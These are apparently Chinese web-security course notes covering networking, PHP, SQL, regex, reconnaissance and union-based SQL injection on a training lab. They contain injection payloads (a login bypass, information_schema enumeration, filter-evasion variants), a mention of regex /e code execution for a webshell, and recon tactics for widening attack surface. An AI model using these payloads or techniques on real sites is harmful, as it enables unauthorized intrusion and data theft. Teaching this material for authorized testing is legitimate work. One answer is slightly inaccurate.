掌控安全Web安全微专业笔记

时间:2024-02-29 21:37:20

1-3 Web通信原理

一、基本知识介绍

IP

正统定义:互联网协议地址,缩写为IP地址,是分配给用户上网使用的网际协议的设备的数字标签。

老师理解:ip实际上就是地址,如果我想到你家去玩,那么我肯定要知道你家住在哪里,ip实际上就是你电脑的地址,在网络上可以通过ip来访问你的计算机。

ip有内网和公网的概念。什么是内网?什么是公网?

打个比方:

你家的门牌号那就是个公网地址,X省X市X街道X号,别人看到这个地址就能找到你家

内网地址是什么妮,假设你住的是一个大楼,比如住401房间,那么只有同一个大楼里面的人才能够通过401这个地址找到你的房间吧。其他人根本不知道是哪里的401房间对吧

公网地址是运营商分配的,内网地址是路由器分配的。

如何判断地址是公网还是内网妮?这些地址就是内网地址了

10.0.0.0~10.255.255.255 |172.16.0.0~172.31.255.255 |192.168.0.0~192.168.255.255

对于自己而言,如果你是本机访问本机,那么127.0.0.1或者localhost都代表着自己

域名 域名实际上是为了方便记忆所发明的一个字符型标识

image-20200926001226706

DNS 将域名转化为ip的一个协议

image-20200926001232612

端口

端口就像电脑的接口,像USB接口,比如你需要用键盘时候,你要把键盘插入接口,端口就是类似的东西,端口主要是网络接口,比如你去访问别人网站,一般来说你实际上是去他的80端口进行通信。

我们有多少个端口妮?

有范围是从0 到65535(2^16-1)

0端口是预留端口。一般不会用到

netstat -an

HTTP协议

超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。设计HTTP最初的目的是为了提供一种发布和接收HTML页面的方法,基本*问网站都是使用HTTP协议

HTTP协议我们来看看需要了解什么,我们拿一个HTTP通信数据包来讲解

GET /?tn=62095104_26_oem_dg HTTP/1.1
Host: baidu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Cookie: BAIDUID=73B3EA8C6CE97FA3AEA1C885FECA03A9:FG=1; BIDUPSID=73B3EA8C6CE97FA3AEA1C885FECA03A9; PSTM=1558791249

GET 是请求方式 HTTP/1.1 是协议版本 HOST是访问的域名 User-Agent传参是传参告诉别人你的浏览器是什么,是什么系统呀。Cookie就是一个用户的凭证。就是代表你的身份,比如你登陆后,那串Cookie被人窃取了,那么利用那串Cookie,他就可以直接有你账号登陆的权限。

二、网页浏览流程

从访客角度看网页浏览流程

1.1.1.1 baidu.com → 网关 →DNS表,qzone.qq.com→ IP web服务器

一、用户在浏览器输入协议://域名,如 http://www.zkaq.org

二、用户浏览器通过系统 → 向DNS服务器查询域名对应的IP地址

三、用户浏览器向查询到的IP地址(Web服务器)发起HTTP请求

四、服务器分析用户请求,从中提取数据,处理后返回一个http响应

五、浏览器收到响应后提取状态、协议编码、正文的有效信息,然后翻译成人类能够直观理解的图形界面并显示。

三、常见Web容器

常见的服务器系统

  • Linux(RedHat[收费]CentOS,Debian,Ubuntu)
  • Windows Server
  • macOS Server

windows/liunx的区别
windows的路径: C:\Users\BlackJack>
liunx的路径:/etc/init#
看到盘符一定是WINDOWS,看到/开头一般都是LIUNX(毕竟拿macOS做系统很罕见)

CMD命令

在过去,计算机行业还不发达的时候,使用计算机是一门技术。可能现在有很多同学不理解这个,这是因为以前使用的系统不是W indows系统,而是Dos系统,很多学生没接触过Dos系统。
Windows.系统提供了CMD指令,可以让大家使用命令操作电脑,这个在渗透测试中会起到一定的作用
dir 显示当前目录
cd 跳转XX目录
要运行啥就属啥。

相对路径和绝对路径

1.绝对路径

先说在本地计算机上,文件的绝对路径当然是指:文件在硬盘上真正存在的路径。

例如:C:\Users\Admin.android\avd (看到盘符就绝对是WINDOWS绝对路径了)

/etc/init/ (看到/开头就是liunx的绝对路径了)

2.相对路径

相对路径,顾名思义就是自己相对与目标位置。

假设 你要引入文件的页面名称为test.htm,它存在叫www的文件夹里(绝对路径D:/wamp/www/test.htm)

那么引用同时存在www文件夹里的“icon.jpg”文件(绝对路径D:/wamp/www/icon.jpg)

同一目录下相对路径icon.jpg (./icon.jpg ../)

如果文件“icon.jpg”存在img文文件夹中(绝对路径D:/wamp/www/img/icon.jpg),那么相对路径./img/icon.jpg。

Web容器

Web容器是可以向发出请求的浏览器提供文档的程序。

WEB容器是一种被动程序:只有其他计算机发出的请求该容器时,容器才会响应

Web容器的主要功能是存储,处理和传递网页给客户。客户端和服务器之间的通信使用超文本传输协议(HTTP)进行。交付的页面最常见的是HTML文档,除了文本内容之外,还可能包含图像,样式表和脚本。

image-20200926002304368

image-20200926002308479

常见WEB容器

IIS (Windows)
Apache(全平台)
Nginx (全平台)

image-20200926002454137

2.快速自建web安全测试环境

渗透测试:
甲方公司雇佣乙方公司帮助寻找网站软件中的漏洞
让安全测试人员以黑客的方法进行攻击

寻找漏洞=》攻击网站
建筑蓝图=》找到突破点,了解究竟建筑是怎么样的

快速自建web安全测试环境
WEB安全测试环境=他其实就是自建了一个网站环境

一、了解什么是动态语言

动态语言

动态语言是对服务器行为的编程。这被称为服务器端脚本或服务器脚本。

常见服务器脚本

Asp, Aspx (Windows)

PHP(全平台)

JSP(全平台)

python(全平台)

动态语言能做什么呢

1.动态地向 web 页面编辑、改变或添加任何的内容

2.对由 HTML 表单提交的用户请求或数据进行响应

3.访问数据或数据库,并向浏览器返回结果

4.为不同的用户定制页面

5.提高网页安全性,使您的网页代码不会通过浏览器被查看到

image-20200926002751656

web容器如何解析

image-20200926002821201

二、服务器环境的快速搭建

常见服务器环境快速搭建软件

JSP(Tomcat)
PHP(PHPStudy) windows
PHP(lnmp) linux

我们这里主讲phpstudy的安装,大家拿好小板凳,快来仔细听讲!

三、phpstudy功能介绍

phpstudy下载地址: 3群或者去官网下载 官网地址:http://phpstudy.php.cn/index.php (我提供的是2016版本)

注:phpstudy运行的时候需要管理员权限

image-20200926002949572

四、快速搭建一个网站

我们拥有了一个Web环境,我们不搭建一个网站,怎么能接受? 但是有些同学没有后端代码功底怎么办?

难道只有程序员能够搭建网站吗?不!并不是,有一种东西叫做CMS

CMS意为"内容管理系统",实际上就是一个快速建站的模板,常见的CMS有织梦、Dz论坛等

如何获取CMS源码,可以去官方下载也可以去一些源码交流论坛,比如A5什么的~还可以去github下载 码云

织梦:http://www.dedecms.com/products/dedecms/downloads/

解压后放入WWW目录,然后直接去访问upload文件夹,然后可以直接进入安装引导

安装过程仅仅只需要你输入数据库密码就可以安装成功了

install 文件夹

炒鸡简单的!

从现在起你也是一个会搭建网站的

image-20200926003037407

2-2 数据库

一、什么是数据库?

我们身边的数据库:

1.你在生日的时候,突然支付宝给你发来生日祝福

2.中国移动发送短信提醒你流量已使用XXXXMB 剩余XXXXMB

3.登录淘宝后,最近浏览过的商品会推荐给你~

这是因为支付宝、移动、淘宝掌握了顾客的一些信息,并且拥有能够从大量汇总信息中快速获取所需信息的设备(计算机系统)。

数据库就是将大量数据把保存起来,通过计算机加工而成的可以高效访问的数据集合
数据库是长期储存在计算机内、有组织的、可共享的数据集合。

二、常见数据库

①Oracle Database:甲骨文公司

②SQL Server:微软公司

③DB2:IBM 公司

④PostgreSQL:开源

⑤MySQL:开源

⑥Access:微软公司 [古董]

数据库虽然有各种各样的,但是其实数据库语句都是相通之处

三、数据库的基本知识

数据库结构

1.服务端:用于接收并处理其它程序发出的请求的程序(软件),或者是安装此类程序的设备(计算机)。

2.客户端:向服务器发出请求的程序(软件),或者是安装此类程序的设备(计算机)。

3.库:就是一堆表组成的数据集合

4.表(table):类似 Excel,由行和列组成的二维表。

5.字段:字段就是表格的表头

6.记录:表里面的数据【注意】关系数据库必须以行为单位进行数据读写。

四、基本SQL语法

SQL 语句:用关键字、表名和列名等组合而成的一条语句。

3 种 SQL 语句种类:

(1)DDL(数据定义语言):创建、删除或修改数据库以及数据库中的表等对象。

①CREATE:创建数据库和表等对象

②DROP:删除数据库和表等对象

③ALTER:修改数据库和表等对象

(2)DML(数据操作语言):查询或修改表中的记录。

①SELECT:查询表中的数据

②INSERT:向表中插入数据

③UPDATE:修改表中的数据

④DELETE:删除表中的数据

(3)DCL(数据控制语言):确认或取消对数据库中的数据变更的执行操作,以及对用户的操作数据库中的对象权限进行设定。

基本SQL语法

数据库操作:

CREATE DATABASE db_name [新建数据库]

Show databases; [查看所有数据库]

DROP DATABASE db_name; [删除数据库]

USE db_name;

CREATE TABLE table_name (column_name column_type); [新建表]
Show tables; [查看所有数据表]
DROP TABLE table_name; [删除表格]
Desc table_name [查看表的类型]

ALTER TABLE table_name DROP i; [删除表里面的字段]
ALTER TABLE table_name ADD i INT; [添加表里面的字段]
ALTER table ta change b bbb int; [修改字段名和属性]

字段其实是有一些属性的。

主键 PRIMARY KEY [不能为空且唯一] 设置编码:CHARSET=utf8

自增长 AUTO_INCREMENT NOT NULL 数据不能为空

数据类型: varchar(255) int(20) char float

https://www.runoob.com/mysql/mysql-data-types.html

插入数据:
INSERT [INTO] user (username,password) VALUES (’admin’, ’admin’);
修改数据:
UPDATE table_name SET col_name=value,… [WHERE 字段=字段值]
查询数据:
SELECT user,password FROM user WHERE 字段=字段值
删除数据:
DELETE FROM table_name where 字段=字段值
mysql字符串是可以接受16进制的 [https://www.bejson.com/convert/ox2str/]
select database(); 查询当前库名

SQL 语句书写规范:

①以英文分号(;)结尾;

②SQL语句本身大小写不敏感,不区分关键字的大小写;【注意】插入到表中的数据是区分大小写的,如“HI”、“Hi”和“hi”都不同。

③该系列随笔将采用“关键字大写,表名和列名的首字母大写”的格式。

④单词使用英文空格或换行符隔开

常数的书写方式:

字符串、日期:用单引号括起来(\'),如\'Hello World\',\'2018-12-4\'。

数字:直接书写,不用加单引号,如:5。

2-3 高级查询与子查询

一、MySQL的基础查询语句

select*from 表 order by 字段 [ASC(默认)/DESC];
升序(从小到大)ASC,降序(从大到小) DESC.

select*from 表 limit n,m;
n表示从第几行开始,m表示取几条。

select *from 表 where username like \'%%\' 模糊查询

运算符号: + - * / %

逻辑运算:
NOT (!)
AND (&)
OR (|)

二、联合查询

表的内容无重复:
SELECT * FROM 表1 UNION SELECT * FROM 表2;
表的内容有重复:
SELECT * FROM 表1 UNION ALL SELECT * FROM 表2;
注意事项:
两次查询的列数必须一致。

三、子查询

官方定义:子查询是一种常用计算机语言SELECT-SQL语言中嵌套查询下层的程序模块。当一个查询是另一个查询的条件时,称之为子查询。

老师理解:子查询就如同1+2*2=5 (1+2)*2=6
子查询就是优先执行,然后执行得到的结果作为某个查询的条件
select *from user where username = (select username from admin where id=1);
admin表当id=1的用户名是否在user表也存在
select*from user where username in (select username from admin)
检查admin表和user表是否有用户名相等

四、渗透测试常用函数

GROUP_CONCAT(col) 返回由属于一组的列值连接组合而成的结果
DATABASE() 返回当前数据库名
USER()或SYSTEM_USER() 返回当前登陆用户名
VERSION() 返回MySQL服务器的版本
SLEEP(n) 休眠n秒

2-4 PHP简介及基本函数

一、什么是PHP?

PHP(超文本预处理器)是一种通用开源脚本语言。(是动态语言中的一种,动态语言还有ASP,ASPX,JSP)
PHP语法吸收了C语言、Java和Perl的特点,主要适用于Web开发领域。
PHP是将程序嵌入到HTML文档中去执行|css|JS 【前端代码】
PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。
PHP支持几乎所有流行的数据库以及操作系统。

使用场景:

网站需要动态操作的,如注册,登陆、查询。

网站需要生成静态文件确保安全的。

需要快速看见效果的项目。

部分游戏服务端(swoole扩展)

……

二、PHP的基础语法

脚本一般而言以<?php 开头,以 ?>结尾
语句使用分号(;)结尾,不可遗漏。|| (int)\'asd\'
数据类型(
String(字符串), Integer(整型), Float(浮点型【小数点】),
Boolean(布尔型【true 或 false。】), Array(数组【一个变量中存储多个值】), Object(对象), NULL(空值[可以把变量清空]))。
变量声明(美元符开头,如$value; )
常量声明(define(常量名,常量值))
调用函数必须使用括号将参数包起来,如:md5(“admin”);

三、运算符

image-20200926004215724

image-20200926004219867

image-20200926004226033

image-20200926004230471

四、条件分支语句

if 语句

image-20200926004302855if…else 语句

image-20200926004312062

switch语句

image-20200926004319434

工作原理:

对表达式(通常是变量)进行一次计算

把表达式的值与结构中 case 的值进行比较

如果存在匹配,则执行与 case 关联的代码

代码执行后,break 语句阻止代码跳入下一个 case 中继续执行

如果没有 case 为真,则使用 default 语句

<?php
switch ($x)
{
case 1:
  echo "Number 1";
  break;
case 2:
  echo "Number 2";
  break;
case 3:
  echo "Number 3";
  break;
default:
  echo "No number between 1 and 3";
}
?>

五、循环语句的书写

for循环

for(初始值;条件;执行的语句)

<?php 
for ($x=0; $x<=10; $x++) {
  echo "数字是:$x <br>";
} 
?>

while循环

image-20200926004522000

while循环例子:
<?php 
$x=1; 
while($x<=5) {
  echo "这个数字是:$x <br>";
  $x++;
} 
?>

continue和break

<?php
for($i=0;$i<10;$i++){
if($i==5)
{
continue
}
else
{
echo $i
}
}
?>
<?php
for($i=0;$i<10;$i++){
if($i==5)
{
break;
}
else
{
echo $i;
}
}
?>

六、PHP获取表单信息

网页和服务器的两种交互方式(表单)

HTTP协议
HTTP请求头
HTTP请求方式(Request Method)
GET(得到)
POST(公布;邮递)

PHP获取表单

$_GET数组获取GET方式提交的内容
$_POST数组获取POST方式提交的内容
$_COOKIE数组获取COOKIE
$_REQUEST数组获取GET|POST|COOKIE

七、PHP操作Mysql语句

连接数据库
$conn=mysqli_connect("127.0.0.1", "root", "root", "db_name");
$conn=mysqli_connect("addr", "usr", "password");
选择数据库(相当于执行SQL语句的USE)
mysqli_select_db($conn, "db_name");
执行SQL语句
$result = mysqli_query($conn, "SQL");
遍历查询结果
$row = mysqli_fetch_row(); // 返回一行
$table = mysqli_fetch_all(); // 返回全部内容(一个表)
$row = mysqli_fetch_array($result); // 
关闭数据库连接
mysqli_close($conn)

2-6 表单验证

一、什么是表单?

表单在网页中主要负责数据采集功能。

一个表单有三个基本组成部分:

表单标签:这里面包含了处理表单数据所用动态脚本的URL以及数据提交到服务器的方法。

表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。

表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的动态脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。

使用场景:

登录框

搜索框

留言框

上传框

……(各种框)

image-20200926004828154

二、如何创建一个表单?

表单标签:

<form action= "URL" method="GET/POST" >

表单域:即表单组件,主要有
文本框、密码框、隐藏域、复选框、单选框、文件上传框
多行文本框(文本域)
下拉选择框
……

表单按钮:
提交按钮
复位按钮
一般按钮

image-20200926004932218

image-20200926004943168

三、接收并验证表单

验证表单:
数据长度
数据类型
是否存在敏感内容(stripos函数)stripos 、 strstr[stristr]

1
image-20200926005014297

isset() 若存在该变量且不为NULL则返回true,否则返回false

四、PHP和数据库交互

表单实际上做到的是将数据提交到后端脚本,然后后端脚本接受后进行处理。我们这里讲PHP和mysql数据库交互

我们会用到一个PHP的扩展mysqli (不用担心,这是自带的插件,我们可以理解为是一套函数就行了)

连接数据库:mysqli_connect(\'127.0.0.1\',\'root\',\'root\',\'3_9\') (连接地址,连接账户,连接密码,连接数据库)

执行数据库语句:mysqli_query(\(conn,\)sql) (数据库连接函数,执行的SQL语句)

通过数据库查询语句执行后得到的数据是一个对象,我们需要将对象转化为数组

从结果集取所有行变为数组 mysqli_fetch_array($result) (执行数据库获得的结果集)

image-20200926005039422

完结撒花

2-7 正则表达式

一、初识SQL注入

image-20201009190022994

逻辑没错,功能也能达到。
但是老师在不知道密码的情况下也能登录。
尝试密码框里面写 or 1=1#

什么是注入
注入攻击的本质,是把用户输入的数据当做代码执行
这里有两个关键条件:

  • 第一个是用户能够控制输入
  • 第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行

那什么是SQL注入,就是针对SQL语句的注入,也可以理解为用户输入的数据当做SQL语句的代码执行了
SQL注入是1998年一名叫做rfp的黑客发表的一篇文章所进入大众视线的
那我们如何防护?现在常见的防护软件主流核心就是通过正则来过滤传参

二、 什么是正则表达式

正则表达式,又称规则表达式。(英语:Regular Expression,在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。

正则表达式的特点是:

  1. 灵活性、逻辑性和功能性非常强;
  2. 可以迅速地用极简单的方式达到字符串的复杂控制。
  3. 对于刚接触的人来说,比较晦涩难懂。

正则表达式用途:
判断字符串是否符合某一规则(判断是否符合手机号、邮箱规则)。
从一个字符串中找出符合规则的所有子字符串(取HTML标签名)。

三、PHP中正则表达式常用函数

PHP中使用正则规则一定要加代表正则的标识/ /

preg_match_all(正则表达式、匹配字符串、匹配到的东西放入数组)
返回匹配到的次数

preg_replace (正则表达式、替换成什么、匹配字符串)
返回替换后的结果

替换支持数组格式

四、正则表达式语法

常用转义字符:
数字:\d
非数字:\D
空白字符(空格、制表符、换页符等):\s
非空白字符:\S
单词字符(26个英文字母+数字+下划线_):\w
非单词字符:\W
自定义字符结合
字符集合:[单个字符或字符区间],用于匹配集合内字符
   如:
[a-z]表示a-z这26个小写字母
[0-9a-z]表示0-9这10个数字和a-z26个小写字母
[135a-h]表示包含数字1,3,5和字母a-h这8个字母
注意:两个不同字符段间请勿使用,隔开。
非集:[^单个字符或字符区间],用于匹配非集合内字符。
   如:
[^0-9]表示匹配所有非数字字符。
[^a-zA-Z]表示匹配所以非字母字符。
()      => 和数学一样很像,代表这是一个整体。
^       => 	匹配输入字符串的开始位置
$       => 匹配输入字符串的结尾位置
.        => 通配符[代表任意字符][不匹配换行]
*        => 匹配0次或者多次
+       => 匹配1次或者多次
\         => 转义字符
|          =>   两项之间的一个选择。
()      => 和数学一样很像,代表这是一个整体。
^       => 	匹配输入字符串的开始位置
$       => 匹配输入字符串的结尾位置
.        => 通配符[代表任意字符][不匹配换行]
*        => 匹配0次或者多次
+       => 匹配1次或者多次
\         => 转义字符
|          =>   两项之间的一个选择。
	限定符:
	{n}     => 例如:  0{8}     意思是指 只有连起来8个0才会被匹配   
	{n,}    =>例如: 0{2,}    意思是 只要有2个0及其以上的就会被匹配
	{n,m}   =>  例如: 0{2,4} 意思是最少匹配2个0,最多匹配4个0
	注:被匹配时,默认匹配最多的次数
	修饰符:
	 /i    => 不区分大小写
	/A    => 匹配规则必须从头开始匹配
	/s     => .将匹配一切字符
	/x     => 正则表达式中的空白字符会被忽略
	/e     => 代码执行 仅限preg_replace()     => 可以写一句话但是不能连接菜刀
	file_put_contents 函数 [把字符串写入文件] 
	file_put_contents(写入文件的地址,写入的文件的内容)

靶场

链接

<?php  
$key=\'flag{********************************}\'; 
$Regular= preg_match("/zkaq.*key.{2,9}:\/.*\/(key*key)/i", trim($_GET["id"]), $match); 
if( $Regular ){  
  die(\'key: \'.$key); 
}

image-20201009200757218

image-20201009202716023

3-1 信息搜集的意义

一、重要性-为什么要信息收集

最了解你的人,往往都是你的对手。 知己知彼,百战不殆

当你所掌握到的信息比别人多且更详细的时候那么你就占据了先机

这一条不仅仅用于商业、战争,在渗透测试中也适用

二、信息收集方向-信息收集究竟收集什么

信息收集究竟需要收集什么? 为什么要收集这些?

1.whois 信息

什么是whois?
whois 指的是域名注册时留下的信息,比如留下管理员的名字、电话号码、邮箱

为什么要收集whois?
域名注册人可能就是网站管理员,可以尝试社工、套路,查询是不是注册了其他域名扩大攻击范围(https://www.bugku.com/mima/)
2.子域名

什么是子域名?
*域名下的二级域名或者三级甚至更多级的域名都属于子域名,有一些直接ip访问的WEB站我也归结于子域名收集范围

为什么要收集?
子域名可以扩大攻击范围,同一个域名下的二级域名都属于相同资产,一般而言都有相关的联系

3.端口探测 (Nmap)

为什么要探测端口?
有些危险端口开放了我们就可以尝试入侵,例如 445|3306|22|1433|6379 可以尝试爆破或者是使用某些端口存在漏洞的服务。而且有可能一台服务器上面不同端口代表着不同的Web网站~

4.目录扫描(御剑)

为什么要扫描目录?
有些网站可能某个目录下是一个新的网站,有的时候目录扫描直接下载了压缩包源码、编辑器目录、一些废弃的页面(会报错)

5.指纹识别(http://www.yunsee.cn/ https://s.threatbook.cn/)
为什么要指纹识别?
cms可能存在通杀漏洞,如果使用了CMS建站我们可以用通杀漏洞直接攻击

6.旁站查询
为什么要查询旁站?
旁站指的是在同一个ip上面的多个网站,如果你成功拿下旁站,运气好和主站在同一台机器上,是不是就是拿到了主站? 如果运气不好是一个内网,我们是不是可以尝试内网渗透

7.C段扫描
C段是什么|为什么要扫描?
例如192.168.1.1 ,那么192.168.1.1-192.168.1.255 都属于同一个C段,有些学校或者大公司,他们会持有整个IP段,这个ip段中所有的ip都是那个公司的资产,拿下一台可能有有用的信息,可能在同一内网

8.内容敏感信息泄露

尝试Google语法,找到某些敏感内容,比如包含身份证号码的表格、包含服务器账号密码的文件、某些敏感文件、备份数据库

三、巧用网络空间搜索引擎

基于物联网搜索,搜索联网的网络设备

钟馗之眼http://www.zoomeye.org

Shodanhttps://www.shodan.io

fofahttps://fofa.so/

在线的暴露的网络设备:路由器、主机、智能电视、联网设备

image-20200926005731617

通过网络空间搜索引擎,我们能够找到开放的服务以及在线的网络设备

四、问题汇总

1.如何查看网站cms
可能在页面源代码里
或者用指纹识别的平台查找
在一些特殊页面也有显示

2.如何探测Waf
输入一些恶意参数,他拦截你的时候就知道了
也可以用云平台看看
http://www.yunsee.cn/
微步社区

3.收集子域名的方法
用子域名扫描器爆破收集
用爬虫工具收集
通过证书获取 https://censys.io/certificates?q=

4.子域名里的二级域名是什么
二级域名是和隶属于主域名下,但又相对独立的分支,就是从主域名分出来的,形式如sad.asd.com,二级域名一般正常而言是属于同一个公司的不同资产

5.如何查找C段
找到真实的ip,比如真实ip 1.1.1.1 那么C端范围就是1.1.1.1-1.1.1.255
https://phpinfo.me/bing.php

6.如何查找旁站
旁站可以在站长之家的同ip网站查询
https://phpinfo.me/bing.php

7.目录扫描用什么工具
御剑扫描工具,群里面有的下载呀

8.子域名收集工具有哪些
Layer
subDomainsBrute(github地址 https://github.com/lijiejie/subDomainsBrute)
https://phpinfo.me/domain/ (在线的子域名收集网站)

9.whois查询如何去查询
站长之家
https://www.netcraft.com/

10.端口探测用什么工具
Nmap

11.旁站和C段的区别
旁站是同ip网站,C段是公网Ip同一网段下的网站

12.收集子域名信息有什么意义
通过收集子域名,扩大攻击的范围,一般来说主站的防护相对严密,而子域名的站点可能防护没有那么严密

13.如何查找网站真实ip
用nslookup ,如果有多个ip就说明用了cdn
网络空间搜索引擎
站长工具

14.所有网站都有robots.txt吗
不是所有网站都有robots.txt,不是所有网站的robots.txt都可以利用

15.一个二级子域名下能有很多个三级域名吗
可以

16.子域名最多能有几层
N层

16.如何识别伪静态
控制台输入 javascript:alert(document.lastModified),如果网站是个html,但是显示的却是现在的时间,就是伪静态页面

17.C段是不是内网
不是内网,但是有可能同一个C端在同一个内网

18.网站里的分支网页算不算旁站
不一定
分支网页有些是不同文件夹下的文件

19.子域名一定在同一ip下吗
不一定在同一ip下,一个ip里面有可能是一个庞大的内网

20.哪里寻找robots.txt
一般在域名后直接加上robots.txt
御剑等扫描器都可以扫描出来

21.爬虫能爬网站链接 还能爬其他的东西吗
可以,可以爬取图片、下载文件、表格这些的

22.子域名和旁站的区别
旁站指同一ip下的网站,子域名指*域名下的二级域名或者三级甚至更多级的域名,子域名有些同一ip有些不同一ip

23.一个ip可以对应多少网站
按照端口数来区分,上万个是没有问题的(前提是服务器性能撑得住,不过如果ip里面是个庞大的内网是可以的)

24.如何通过前台找到后台
使用目录扫描
根据cms的特征

25.同一个ip多个网站什么意思
就是多个网站用同一个ip,他们被称为互相的旁站,但是同ip不一定是同服务器,因为1个ip里面可能有一个庞大的内网

26.页面源码里是否会存在敏感信息
会,会隐藏一些敏感文件,cms信息,robots.txt,或者一些偷偷隐藏的链接

3-2 信息收集

一、信息收集收集什么?

image-20201011132552109

二、信息收集的方法

image-20201011133435312

image-20201011143056507

7kbscan-WebPathBrute

目录扫描工具下载

layer子域名挖掘机

4-1 SQL注入的原理分析

一、SQL注入本质

注入攻击的本质,是把用户输入的数据当做代码执行。

这里有两个关键条件:

第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行

那什么是SQL注入,就是针对SQL语句的注入,也可以理解为用户输入的数据当做SQL语句的代码执行了
SQL注入是1998年一名叫做rfp的黑客发表的一篇文章所进入大众视线的

二、分析公开课猫舍注入

显错注入-联合查询(Mysql数据库)的基本流程

image-20201011194508099

新知识点: 通过系统自带库查询数据

Mysql在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等

information_schema.tables 存放表名和库名的对应
information_schema.columns 存放字段名和表名的对应

[注: information_schema.tables 实际上是选 information_schema库中的tables表]

三、显错注入靶场的做法

判断注入点

最古老的方法:

and 1=1 页面正常
and 1=2 页面不正常

最简单的方法:

页面后面加\',看是否报错

老师的方法:
如果是数字型传参,可以尝试-1
例如:
http://www.xxx.com/new.php?id=1 页面显示id=1的新闻
http://www.xxx.com/new.php?id=2-1 页面显示id=1的新闻

and 1=1 and 1=2 被拦截的可能性太高了
可以尝试 and -1=-1 and -1=-2 and 1>0 or 1=1

或者直接 or sleep(5)

MYSQL注入

  • 判断当前页面字段总数
    and 1=1 order by 1,2,3,4,5……

  • 判断显示位
    and 1=2 union select 1,2,3,4,5,6,7……

  • 查当前数据库
    and 1=2 union select 1,2,database()

  • 查表名
    and 1=2 union select 1,2,table_name from information_schema.tables where TABLE_SCHEMA=数据库名 limit 0,1

  • 查列名
    and 1=2 Union select 1,2,columns_name from information_schema.COLUMNS where TABLE_NAME=表名 limit 0,1

  • 查字段内容
    and 1=2 union select 1,用户名段,密码段 from 表名 limit 0,1

介绍一个函数:GROUP_CONCAT 将多行数据进行整合在一行输出

靶场作业

显错注入(一)

and 1=1 页面正常 and 1=2 页面不正常,存在SQL注入

order by 1,2,3正常,4不正常说明有3个字段

union select 1,2,3

image-20201013181216230

说明2,3字段输出

union select 1,2,table_name from information_schema.tables where table_schema=database()

在第三个位置输出表名

limit 0,1显示第一个结果,limit 1,1显示第二个结果

union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=\'error_flag\'

union select 1,2,flag from error_flag

select *from user where id=0 union select 1,2,flag from error_flag limit 0,1

--%20 注释掉后面 或者-- ss

SQL注入基础-本课易错回答分析

1.sql注入本质是什么
把用户输入当做代码执行

2.sql注入的条件
用户可控输入和原本程序要执行代码,拼接用户输入且当作SQL语句去执行

3.order by的作用及含义
order by 用于判断显示位,order by 原有的作用是对字段进行一个排序,在sql注入中用order by 来判断排序,order by 1就是对一个字段进行排序,如果一共四个字段,你order by 5 数据库不知道怎么排序,于是乎就错误了无返回值

4.union select如何发挥作用
union为联合查询,a联合b进行了查询,为查询了前面的sql语句(原有的)后再进行后面的sq查询(我们添加的),但两张表联合查询的字段数必须相同。

5.输出位是什么
SQL查询出来的数据不一定全部会输出,页面上只会输出几个字段的信息,那几个会输出的字段就是输出位

6.information_schema是什么
information_schema是mysql的系统自带表,用于查询数据,在mysql5.0以上版本中存在

7.加单引号和加 and 1=2有什么区别
有区别,单引号是为了闭合语句,而and 1=2是为了让union前面的语句无查询结果无输出,然后直接输出拼接进去union后面的那个语句的查询结果

8.and 是什么意思
and 为和的意思,一个语句中,当前一个正确,后一个错误时,如果是and连接整个语句返回是False

9.or是什么意思
Or 为和的意思,一个语句中,当前一个正确,后一个错误时,如果是or连接整个语句返回是True

10.and 和 or 选择使用有什么讲究?
And 语句执行时,如果and 前的语句返回False,那么and后面的语句根本不执行

11.除了单引号外还有其他的符号可以闭合吗?
实际上还是要看源码,常见的是单引号和双引号还有括号

12.limit的作用
limit 在注入中用于排序然后输出,limit a,b a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据

13.可以查讯多个字段内容吗
可以,可以使用语句Group_concat()函数进行输出

14.%23有什么作用
%23编码为#,用于注释后面的语句,防止SQL注入点后原本的SQL语句对SQL注入进行干扰

15.报错注入的原理
利用sql注入拼接sql语句,将报错信息输出时同时将我们想要的信息输出

16.闭合是什么
在sql查询中,代码比较严谨,括号和引号都得成双成对,引号内的默认是字符串不会当作SQL语句执行,所以必须闭合然后才能注入,当然有些SQL语句直接拼接,也就不用什么闭合了

17.SQL注入有数据库限制吗?
没有,常见的数据库都可以

18.SQL注入有动态脚本语言限制吗?
没有限制

19.SQL注入如果没系统自带表怎么办
那就惨了,只能通过猜,不断的尝试,一般而言数据库的表也不会乱起名字,毕竟是团队协作的东西

20.系统自带库管理员不会修改吗?
一般而言并不会

21.union all 和 union 区别
如果输出的数据有相同的,Union只会输出一次,而union all都会输出

22.为什么用and 1=1正常 and 1=2报错来判断是否存在SQL注入
因为如果存在SQL注入,那么and就是和的意思,1=1是一个恒等式,然后因为原本能够查出数据,那么两个真就是True,但是1=2肯定是不可能的,这里就会返回一个False,然后因为和必须两个真才返回True,所以这里拼接就不成立返回False.

4-2 渗透测试常用工具讲解

1.环境的安装(Java|python)

python(2.7.16)环境的安装:
python(2.7.16)下载地址
下载好文件后 直接安装就可以 (各种下一步下一步)

java环境的安装:
Java下载地址
点击同意并开始免费下载

拿着安装软件直接默认安装就行,全部下一步下一步,环境建议安装C盘

python默认路径:C:\Python27

Java默认路径:C:\Program Files\Java\jre1.8.0_211\bin

环境变量的添加

python和Java都是一门编程语言,编程语言一般都需要有那个语言对应的环境才能运行。如果我们需要在任意文件夹中直接调用那么我们就需要添加一个环境变量。

环境变量:环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,如果我定义了这个环境变量的路径,那么当在windows系统的变量中寻找不到的时候,就会去我添加的路径去寻找对应的东西。
例如:我把桌面加入环境变量,我就可以在任意路径的cmd窗口打开桌面的文件

2.Sqlmap的基础指令

